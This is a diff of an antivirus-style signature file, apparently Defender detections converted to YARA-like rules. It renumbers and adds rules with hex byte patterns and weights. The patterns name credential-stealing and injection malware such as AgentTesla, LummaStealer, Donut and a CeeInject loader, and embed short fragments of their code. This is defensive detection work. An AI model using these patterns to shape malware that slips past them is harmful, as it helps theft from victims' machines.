6b 45 6e 65 72 67 79 2e 41 48 42 21 4d 54 42 00 03 00 1e 01 89 df 8b 75 0c f7 d7 30 1e bf ed ba 53 f7 5f be f7 d7 7a 57 8d 31 fe c1 8d 34 72 89 ee e9 02 00 } //21539 + $a_55_1 = {8d 01 8d 82 b3 71 0b 7a 2b d2 f7 d0 89 7d f4 89 c8 89 f8 89 5d f8 f7 d0 53 58 e9 00 00 78 73 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 65 79 67 65 6e 2e 4e 21 4d 54 42 00 02 00 07 80 01 58 2d 46 4f 52 43 45 01 00 10 80 01 43 4f 4e 56 47 72 61 7a 65 79 20 2f 20 50 48 46 01 00 10 80 01 52 49 50 50 47 72 61 7a 65 79 20 2f 20 50 48 46 01 00 0e 80 01 70 72 65 73 73 } //286 + condition: + ((#a_4c_0 & 1)*21539+(#a_55_1 & 1)*286) >=5 + +} +rule _InfrastructureShared_7602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 65 79 67 65 6e 2e 4e 21 4d 54 42 00 02 00 07 80 01 58 2d 46 4f 52 43 45 01 00 10 80 01 43 4f 4e 56 47 72 61 7a 65 79 20 2f 20 50 48 46 01 00 10 80 01 52 49 50 50 47 72 61 7a 65 79 } //16675 - $a_50_1 = {46 01 00 0e 80 01 70 72 65 73 73 20 47 65 6e 65 72 61 74 65 00 00 78 73 00 00 05 00 05 00 05 00 } //12064 - $a_53_2 = {52 3a 43 6f 6d 6d 6f 6e 43 72 79 70 74 4b 65 79 57 6f 72 64 73 2e 42 00 01 00 0b 80 01 6d 61 69 6e 5f 63 69 70 68 65 72 01 00 0e 80 01 73 65 73 73 69 6f 6e 5f 63 69 70 68 65 72 01 00 0a 80 01 61 65 73 5f 63 69 70 68 } //8993 - $a_00_3 = {0a } //29285 + $a_50_1 = {46 01 00 0e 80 01 70 72 65 73 73 20 47 65 6e 65 72 61 74 65 00 00 78 73 00 00 05 00 05 00 04 00 } //12064 + $a_55_2 = {3a 42 6c 6f 63 6b 3a 44 6f 77 6e 6c 6f 61 64 53 70 6f 6e 73 6f 72 00 02 00 1c 80 01 61 70 69 2e 63 68 69 70 2d 73 65 63 75 72 65 64 2d 64 6f 77 6e 6c 6f 61 64 2e 64 65 01 00 0b 80 01 61 66 74 65 72 64 6c 2e 70 68 70 01 00 07 80 01 44 4d 52 } //8993 + $a_62_3 = {00 0d 80 01 61 67 62 2d 70 72 6f 78 79 2e 70 68 70 00 00 78 73 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 56 72 42 72 6f 74 68 65 72 73 00 02 00 0f 80 01 73 6f 66 74 2e 61 6e 6a 69 61 6e 2e 63 6f 6d 01 00 1b 80 01 41 6e 4a 69 61 6e 42 69 6e 64 69 6e 67 49 6e 73 74 61 6c 6c 50 43 2e } //28718 condition: - ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*12064+(#a_53_2 & 1)*8993+(#a_00_3 & 1)*29285) >=5 + ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*12064+(#a_55_2 & 1)*8993+(#a_62_3 & 1)*28718) >=5 } -rule _InfrastructureShared_7193{ +rule _InfrastructureShared_7603{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 44 6f 77 6e 6c 6f 61 64 53 70 6f 6e 73 6f 72 00 02 00 1c 80 01 61 70 69 2e 63 68 69 70 2d 73 65 63 75 72 65 64 2d 64 6f 77 6e 6c 6f 61 64 2e 64 65 01 00 0b 80 01 61 66 74 65 72 64 6c 2e 70 68 70 01 00 07 80 01 44 4d 52 2e 70 64 62 01 00 } //20515 + $a_61_1 = {62 } //-32755 b + $a_6f_2 = {79 2e 70 68 70 00 00 78 73 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 56 72 42 72 6f 74 68 65 72 73 00 02 00 0f 80 01 73 6f 66 74 2e 61 6e 6a 69 61 6e 2e 63 6f 6d 01 00 1b 80 01 41 6e 4a 69 61 6e 42 69 6e 64 69 6e 67 49 6e 73 74 61 6c 6c 50 43 2e 68 74 6d 6c 01 00 0b 80 01 75 73 65 72 76 61 72 2e 69 6e 69 01 00 0b 80 01 62 } //28717 + $a_69_3 = {67 2e 65 78 65 00 00 78 73 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 43 6f 6d 6d 6f 6e 43 72 79 70 74 4b 65 79 57 6f 72 64 73 2e 42 00 01 00 0b 80 01 6d 61 69 6e 5f 63 69 70 68 65 72 01 00 0e 80 01 73 65 73 73 69 6f 6e 5f 63 69 70 68 65 72 01 00 0a 80 01 61 65 73 5f 63 69 70 68 65 72 01 00 0a 80 } //28265 + condition: + ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*-32755+(#a_6f_2 & 1)*28717+(#a_69_3 & 1)*28265) >=5 + +} +rule _InfrastructureShared_7604{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 56 72 42 72 6f 74 68 65 72 73 00 02 00 0f 80 01 73 6f 66 74 2e 61 6e 6a 69 61 6e 2e 63 6f 6d 01 00 1b 80 01 41 6e 4a 69 61 6e 42 69 6e 64 69 6e 67 49 6e 73 74 61 6c 6c 50 43 2e 68 74 6d 6c 01 00 0b 80 01 75 73 65 72 76 61 72 2e 69 6e 69 } //20515 + $a_80_1 = {62 69 6e 64 69 6e 67 2e 65 78 65 } //binding.exe 1 + $a_73_2 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 43 6f 6d 6d 6f 6e 43 72 79 70 74 4b 65 79 57 6f 72 64 73 2e 42 00 01 00 0b 80 01 6d 61 69 6e 5f 63 69 70 68 65 72 01 00 0e 80 01 73 65 73 73 69 6f 6e 5f 63 69 70 68 65 72 01 00 0a 80 01 61 65 73 5f 63 69 70 68 65 72 01 00 0a 80 01 70 75 62 6c 69 63 5f 6b 65 79 01 00 08 80 01 6b 65 79 5f 73 69 7a 65 00 00 78 73 00 00 } //0 + $a_00_3 = {05 00 21 23 48 } //5 + condition: + ((#a_41_0 & 1)*20515+(#a_80_1 & 1)*1+(#a_73_2 & 1)*0+(#a_00_3 & 1)*5) >=5 + +} +rule _InfrastructureShared_7605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -75454,7 +79825,7 @@ rule _InfrastructureShared_7193{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24419+(#a_66_2 & 1)*-11930+(#a_a0_3 & 1)*-32356) >=5 } -rule _InfrastructureShared_7194{ +rule _InfrastructureShared_7606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -75467,7 +79838,7 @@ rule _InfrastructureShared_7194{ ((#a_54_0 & 1)*18467+(#a_20_2 & 1)*26112+(#a_44_3 & 1)*18689+(#a_4d_4 & 1)*-1979) >=5 } -rule _InfrastructureShared_7195{ +rule _InfrastructureShared_7607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -75480,7 +79851,7 @@ rule _InfrastructureShared_7195{ ((#a_54_0 & 1)*18467+(#a_69_2 & 1)*385+(#a_81_3 & 1)*781+(#a_73_4 & 1)*0) >=5 } -rule _InfrastructureShared_7196{ +rule _InfrastructureShared_7608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -75493,7 +79864,7 @@ rule _InfrastructureShared_7196{ ((#a_77_0 & 1)*16675+(#a_00_2 & 1)*0+(#a_3a_3 & 1)*19521+(#a_00_4 & 1)*20480) >=5 } -rule _InfrastructureShared_7197{ +rule _InfrastructureShared_7609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -75504,7 +79875,7 @@ rule _InfrastructureShared_7197{ ((#a_46_0 & 1)*16675+(#a_4e_1 & 1)*5632) >=6 } -rule _InfrastructureShared_7198{ +rule _InfrastructureShared_7610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " @@ -75516,7 +79887,7 @@ rule _InfrastructureShared_7198{ ((#a_77_0 & 1)*16675+(#a_00_2 & 1)*0+(#a_69_3 & 1)*21818) >=7 } -rule _InfrastructureShared_7199{ +rule _InfrastructureShared_7611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -75526,7 +79897,7 @@ rule _InfrastructureShared_7199{ ((#a_54_0 & 1)*16675) >=10 } -rule _InfrastructureShared_7200{ +rule _InfrastructureShared_7612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -75536,7 +79907,7 @@ rule _InfrastructureShared_7200{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7201{ +rule _InfrastructureShared_7613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -75546,7 +79917,7 @@ rule _InfrastructureShared_7201{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7202{ +rule _InfrastructureShared_7614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -75556,7 +79927,7 @@ rule _InfrastructureShared_7202{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7203{ +rule _InfrastructureShared_7615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -75566,18 +79937,39 @@ rule _InfrastructureShared_7203{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7204{ +rule _InfrastructureShared_7616{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 72 79 73 2e 5a 49 56 21 4d 54 42 00 0a 00 47 03 11 06 11 05 9a 28 90 01 01 00 00 0a 3a 90 01 01 00 00 00 11 06 11 05 9a 20 03 02 00 00 28 90 01 01 00 00 0a 13 04 06 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_7617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 34 21 4d 54 42 00 05 00 28 00 19 28 e5 6d 73 32 30 32 32 54 72 75 92 8f 32 30 8a 36 54 72 75 6d 70 32 70 32 36 54 72 75 6d 70 32 30 32 36 54 72 75 6d 05 00 15 02 00 00 06 } //18467 - $a_91_1 = {90 01 01 91 61 d2 9c 90 01 01 17 90 00 00 00 78 73 00 00 0d 00 0d 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 32 30 31 21 4d 54 42 00 0a 00 0d 03 11 04 20 00 90 01 01 00 00 fe 04 90 00 01 00 08 81 01 54 6f 53 74 72 69 } //27022 + $a_91_1 = {90 01 01 91 61 d2 9c 90 01 01 17 90 00 00 00 78 73 00 00 0a 00 0a 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 6e 75 74 2e 47 5a 4e 21 4d 54 42 00 05 00 24 03 2b c6 d1 f8 03 c2 03 c7 6a 04 8d 74 18 01 68 00 10 00 00 8d 0c 36 51 6a 00 ff 15 90 01 04 8b } //27022 condition: ((#a_54_0 & 1)*18467+(#a_91_1 & 1)*27022) >=10 } -rule _InfrastructureShared_7205{ +rule _InfrastructureShared_7618{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 6e 75 74 2e 47 5a 4e 21 4d 54 42 00 05 00 24 03 2b c6 d1 f8 03 c2 03 c7 6a 04 8d 74 18 01 68 00 10 00 00 8d 0c 36 51 6a 00 ff 15 90 01 04 8b f8 85 f6 90 00 05 00 } //21539 + $a_00_1 = {6a 00 68 90 01 04 8b f0 56 6a 00 ff 15 90 01 04 68 00 80 00 00 6a 00 56 ff 15 90 00 00 00 78 73 00 00 0d 00 0d 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 32 30 31 21 4d 54 42 00 0a 00 0d 03 11 04 20 00 90 01 01 00 00 fe 04 90 00 01 00 08 81 01 54 6f 53 74 } //798 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*798) >=10 + +} +rule _InfrastructureShared_7619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 21 " @@ -75590,7 +79982,7 @@ rule _InfrastructureShared_7205{ ((#a_46_0 & 1)*16675+(#a_6f_2 & 1)*385+(#a_64_3 & 1)*26967+(#a_90_4 & 1)*1025) >=13 } -rule _InfrastructureShared_7206{ +rule _InfrastructureShared_7620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 03 00 21 " @@ -75602,7 +79994,7 @@ rule _InfrastructureShared_7206{ ((#a_54_0 & 1)*18467+(#a_4e_1 & 1)*25972+(#a_7a_2 & 1)*27745) >=21 } -rule _InfrastructureShared_7207{ +rule _InfrastructureShared_7621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -75615,7 +80007,7 @@ rule _InfrastructureShared_7207{ ((#a_4c_0 & 1)*21539+(#a_4a_1 & 1)*-32410+(#a_4a_2 & 1)*29285+(#a_36_3 & 1)*26967) >=40 } -rule _InfrastructureShared_7208{ +rule _InfrastructureShared_7622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -75625,7 +80017,7 @@ rule _InfrastructureShared_7208{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_7209{ +rule _InfrastructureShared_7623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -75637,7 +80029,7 @@ rule _InfrastructureShared_7209{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*68+(#a_01_3 & 1)*3469) >=400 } -rule _InfrastructureShared_7210{ +rule _InfrastructureShared_7624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -75647,7 +80039,7 @@ rule _InfrastructureShared_7210{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7211{ +rule _InfrastructureShared_7625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -75657,7 +80049,7 @@ rule _InfrastructureShared_7211{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7212{ +rule _InfrastructureShared_7626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -75667,7 +80059,7 @@ rule _InfrastructureShared_7212{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7213{ +rule _InfrastructureShared_7627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -75677,7 +80069,7 @@ rule _InfrastructureShared_7213{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7214{ +rule _InfrastructureShared_7628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -75687,7 +80079,7 @@ rule _InfrastructureShared_7214{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7215{ +rule _InfrastructureShared_7629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -75697,7 +80089,7 @@ rule _InfrastructureShared_7215{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7216{ +rule _InfrastructureShared_7630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -75707,7 +80099,7 @@ rule _InfrastructureShared_7216{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7217{ +rule _InfrastructureShared_7631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -75717,7 +80109,7 @@ rule _InfrastructureShared_7217{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7218{ +rule _InfrastructureShared_7632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -75727,7 +80119,7 @@ rule _InfrastructureShared_7218{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7219{ +rule _InfrastructureShared_7633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -75737,7 +80129,7 @@ rule _InfrastructureShared_7219{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7220{ +rule _InfrastructureShared_7634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -75747,7 +80139,7 @@ rule _InfrastructureShared_7220{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7221{ +rule _InfrastructureShared_7635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -75757,7 +80149,7 @@ rule _InfrastructureShared_7221{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7222{ +rule _InfrastructureShared_7636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -75768,7 +80160,7 @@ rule _InfrastructureShared_7222{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*12090) >=1 } -rule _InfrastructureShared_7223{ +rule _InfrastructureShared_7637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -75779,7 +80171,7 @@ rule _InfrastructureShared_7223{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*73) >=1 } -rule _InfrastructureShared_7224{ +rule _InfrastructureShared_7638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -75790,7 +80182,7 @@ rule _InfrastructureShared_7224{ ((#a_6b_0 & 1)*17955+(#a_09_1 & 1)*-18560) >=1 } -rule _InfrastructureShared_7225{ +rule _InfrastructureShared_7639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -75801,7 +80193,7 @@ rule _InfrastructureShared_7225{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-28440) >=1 } -rule _InfrastructureShared_7226{ +rule _InfrastructureShared_7640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -75812,7 +80204,7 @@ rule _InfrastructureShared_7226{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*21523) >=1 } -rule _InfrastructureShared_7227{ +rule _InfrastructureShared_7641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -75823,7 +80215,7 @@ rule _InfrastructureShared_7227{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1026) >=1 } -rule _InfrastructureShared_7228{ +rule _InfrastructureShared_7642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -75833,7 +80225,7 @@ rule _InfrastructureShared_7228{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_7229{ +rule _InfrastructureShared_7643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -75844,7 +80236,7 @@ rule _InfrastructureShared_7229{ ((#a_54_0 & 1)*18467+(#a_7a_2 & 1)*27745) >=1 } -rule _InfrastructureShared_7230{ +rule _InfrastructureShared_7644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -75855,7 +80247,7 @@ rule _InfrastructureShared_7230{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*0) >=1 } -rule _InfrastructureShared_7231{ +rule _InfrastructureShared_7645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -75866,7 +80258,7 @@ rule _InfrastructureShared_7231{ ((#a_54_0 & 1)*18467+(#a_90_2 & 1)*-8944) >=1 } -rule _InfrastructureShared_7232{ +rule _InfrastructureShared_7646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -75878,7 +80270,7 @@ rule _InfrastructureShared_7232{ ((#a_54_0 & 1)*18467+(#a_0c_1 & 1)*785+(#a_01_2 & 1)*3467) >=1 } -rule _InfrastructureShared_7233{ +rule _InfrastructureShared_7647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -75890,7 +80282,7 @@ rule _InfrastructureShared_7233{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*264+(#a_00_2 & 1)*78) >=1 } -rule _InfrastructureShared_7234{ +rule _InfrastructureShared_7648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -75901,7 +80293,7 @@ rule _InfrastructureShared_7234{ ((#a_75_0 & 1)*25635+(#a_3a_2 & 1)*19521) >=1 } -rule _InfrastructureShared_7235{ +rule _InfrastructureShared_7649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -75911,7 +80303,7 @@ rule _InfrastructureShared_7235{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_7236{ +rule _InfrastructureShared_7650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -75921,7 +80313,17 @@ rule _InfrastructureShared_7236{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_7237{ +rule _InfrastructureShared_7651{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 45 41 4e 55 21 4d 54 42 00 02 00 42 02 2b 32 00 07 11 16 90 01 05 11 17 23 00 00 00 00 00 00 00 00 11 11 90 01 05 23 00 00 00 00 00 00 e0 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_7652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75932,7 +80334,7 @@ rule _InfrastructureShared_7237{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*-16333) >=2 } -rule _InfrastructureShared_7238{ +rule _InfrastructureShared_7653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75943,7 +80345,7 @@ rule _InfrastructureShared_7238{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-31997) >=2 } -rule _InfrastructureShared_7239{ +rule _InfrastructureShared_7654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75953,7 +80355,7 @@ rule _InfrastructureShared_7239{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_7240{ +rule _InfrastructureShared_7655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75964,7 +80366,7 @@ rule _InfrastructureShared_7240{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*9288) >=2 } -rule _InfrastructureShared_7241{ +rule _InfrastructureShared_7656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75975,7 +80377,7 @@ rule _InfrastructureShared_7241{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*29793) >=2 } -rule _InfrastructureShared_7242{ +rule _InfrastructureShared_7657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75986,7 +80388,7 @@ rule _InfrastructureShared_7242{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26210) >=2 } -rule _InfrastructureShared_7243{ +rule _InfrastructureShared_7658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75997,7 +80399,7 @@ rule _InfrastructureShared_7243{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*13365) >=2 } -rule _InfrastructureShared_7244{ +rule _InfrastructureShared_7659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -76008,7 +80410,7 @@ rule _InfrastructureShared_7244{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*18488) >=2 } -rule _InfrastructureShared_7245{ +rule _InfrastructureShared_7660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -76019,7 +80421,7 @@ rule _InfrastructureShared_7245{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*17973) >=2 } -rule _InfrastructureShared_7246{ +rule _InfrastructureShared_7661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -76030,7 +80432,7 @@ rule _InfrastructureShared_7246{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*17461) >=2 } -rule _InfrastructureShared_7247{ +rule _InfrastructureShared_7662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -76041,7 +80443,7 @@ rule _InfrastructureShared_7247{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28596) >=2 } -rule _InfrastructureShared_7248{ +rule _InfrastructureShared_7663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -76051,7 +80453,7 @@ rule _InfrastructureShared_7248{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_7249{ +rule _InfrastructureShared_7664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -76062,7 +80464,7 @@ rule _InfrastructureShared_7249{ ((#a_54_0 & 1)*18467+(#a_10_1 & 1)*-18929) >=2 } -rule _InfrastructureShared_7250{ +rule _InfrastructureShared_7665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -76073,18 +80475,28 @@ rule _InfrastructureShared_7250{ ((#a_4c_0 & 1)*21539+(#a_84_1 & 1)*12348) >=2 } -rule _InfrastructureShared_7251{ +rule _InfrastructureShared_7666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 41 4b 21 4d 54 42 00 01 00 0e 01 8b 84 24 80 00 00 00 3b 84 24 c0 00 00 00 01 00 2f 01 8b 84 24 bc 00 00 00 48 8b 4c 24 58 03 01 } //21539 - $a_84_1 = {80 00 00 00 83 c0 01 89 84 24 80 00 00 00 48 8b 44 24 58 48 83 c0 04 48 89 44 24 58 00 00 78 74 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 43 65 65 49 6e 6a 65 63 74 2e 47 6f 64 7a 69 6c 69 61 2e 53 30 30 31 00 01 00 09 01 8b 01 05 0c fa 05 01 89 01 01 00 1b 00 81 c3 df 02 00 00 03 d9 81 eb df 02 00 00 56 81 c3 df 02 00 00 43 bb df 02 00 00 01 00 19 03 33 d2 03 4d 90 01 01 8b 45 90 01 01 13 c2 81 e9 } //393 + $a_84_1 = {80 00 00 00 83 c0 01 89 84 24 80 00 00 00 48 8b 44 24 58 48 83 c0 04 48 89 44 24 58 00 00 78 74 00 00 